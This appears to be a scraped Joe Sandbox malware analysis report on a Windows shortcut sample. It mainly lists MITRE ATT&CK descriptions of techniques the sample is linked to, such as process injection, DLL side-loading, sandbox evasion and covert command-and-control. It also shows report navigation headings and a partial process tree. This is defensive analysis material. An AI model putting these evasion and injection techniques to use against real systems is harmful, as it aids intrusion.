Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Sw7141dkgT.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static Windows Shortcut Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: cmd.exePID: 3268, Parent PID: 4004

General

Chronological Activities

Analysis Process: conhost.exePID: 3576, Parent PID: 3268

General

Chronological Activities

Analysis Process: net.exePID: 2488, Parent PID: 3268

Windows Analysis Report
Sw7141dkgT.lnk